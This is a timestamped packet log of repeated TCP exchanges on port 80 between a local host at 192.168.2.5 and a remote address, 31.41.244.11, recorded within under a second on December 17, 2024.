Dec 17, 2024 08:03:28.485786915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.485835075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.486686945 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.486718893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.486740112 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.486763954 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.487481117 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.487541914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.487600088 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.487648010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.488451958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.488508940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.488573074 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.488620043 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.489336967 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.489388943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.489517927 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.489576101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.490384102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.490416050 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.490437984 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.490461111 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.491308928 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.491359949 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.491379976 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.491405964 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.492109060 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.492167950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.492248058 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.492305994 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.493128061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.493160009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.493180990 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.493202925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.493968964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.494021893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.494074106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.494121075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.494931936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.494986057 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.495054007 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.495105028 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.495870113 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.495903015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.495923996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.495949984 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.496678114 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.496757984 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.496829033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.496884108 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.497589111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.497638941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.497692108 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.497740030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.498595953 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.498629093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.498651028 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.498677015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.499399900 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.499471903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.499550104 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.499603033 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.644490004 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.644731998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.644853115 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.644890070 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.644923925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.644947052 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.644974947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.645026922 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.645756006 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.645813942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.645914078 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.645968914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.646759033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.646816969 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.646869898 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.646919966 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.646953106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.647001982 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.647862911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.647898912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.647918940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.647944927 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.648684978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.648736000 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.648785114 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.648835897 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.649579048 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.649637938 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.649733067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.649785995 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.650599003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.650633097 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.650655031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.650674105 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.651381016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.651438951 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.651547909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.651603937 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.652389050 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.652447939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.652528048 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.652581930 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.653292894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.653347015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.653453112 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.653510094 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.654329062 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.654395103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.654452085 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.654500961 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.655217886 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.655251980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.655275106 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.655294895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.656002045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.656056881 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.656079054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.656128883 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.657037973 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.657099009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.657114029 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.657149076 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.657798052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.657866001 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.657919884 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.657973051 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.658889055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.658945084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.658962011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.659015894 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.659816027 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.659882069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.659986019 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.660056114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.660588026 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.660644054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.660712004 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.660767078 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.661494017 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.661549091 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.661926985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.661982059 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.662410021 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.662466049 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.662517071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.662569046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.663338900 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.663394928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.663453102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.663510084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.664326906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.664361000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.664381027 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.664408922 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.665208101 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.665266991 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.665369987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.665420055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.666110992 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.666171074 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.666260958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.666315079 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.667120934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.667155027 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.667176962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.667202950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.667922974 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.667982101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.668034077 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.668081045 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.668834925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.668900967 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.669002056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.669061899 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.669877052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.669938087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.669951916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.670001030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.670661926 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.670726061 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.670825005 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.670895100 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.671580076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.671647072 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.671911955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.671974897 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.672610044 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.672642946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.672663927 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.672689915 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.673392057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.673449993 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.673540115 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.673593998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.674403906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.674438000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.674459934 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.674485922 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.675246954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.675360918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.675419092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.675488949 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.676227093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.676259995 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.676301956 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.676302910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.677162886 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.677232981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.677336931 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.677402973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.678081036 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.678113937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.678150892 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.679030895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.679070950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.679091930 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.679114103 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.679169893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.680056095 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.680089951 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.680130959 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.680130959 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.680726051 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.680797100 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.680851936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.680902958 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.681759119 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.681818008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.681832075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.681879997 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.682588100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.682640076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.682662010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.682691097 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.683491945 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.683573008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.683624029 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.683691025 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.684616089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.684650898 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.684673071 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.684721947 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.685343981 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.685395002 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.685468912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.685517073 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.686302900 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.686336040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.686357021 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.686382055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.687180996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.687231064 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.687293053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.687345982 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.688052893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.688110113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.688173056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.688229084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.689071894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.689106941 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.689130068 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.689156055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.689933062 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.689985037 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.690013885 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.690063000 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.690790892 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.690857887 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.690920115 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.690968990 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.691720009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.691775084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.691871881 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.691926003 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.836736917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.836812019 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.836843967 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.836894035 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.837158918 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.837209940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.837234020 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.837286949 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.838099957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.838151932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.838211060 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.838268042 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.838929892 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.838992119 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.839261055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.839308977 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.839428902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.839477062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.840169907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.840234995 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.840289116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.840389967 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.841156006 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.841214895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.841289997 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.841341019 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.841986895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.842045069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.842148066 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.842197895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.842951059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.843038082 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.843065023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.843126059 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.843986988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.844043970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.844113111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.844166994 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.844736099 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.844791889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.845053911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.845108032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.845679998 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.845733881 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.845787048 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.845835924 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.846539021 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.846594095 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.846682072 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.846735954 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.847541094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.847592115 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.847615957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.847665071 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.848445892 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.848500013 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.848570108 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.848628044 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.849332094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.849385977 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.849478006 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.849549055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:28.850322962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:28.850358963 CET	80	49867	31.41.244.11	192.168.2.5
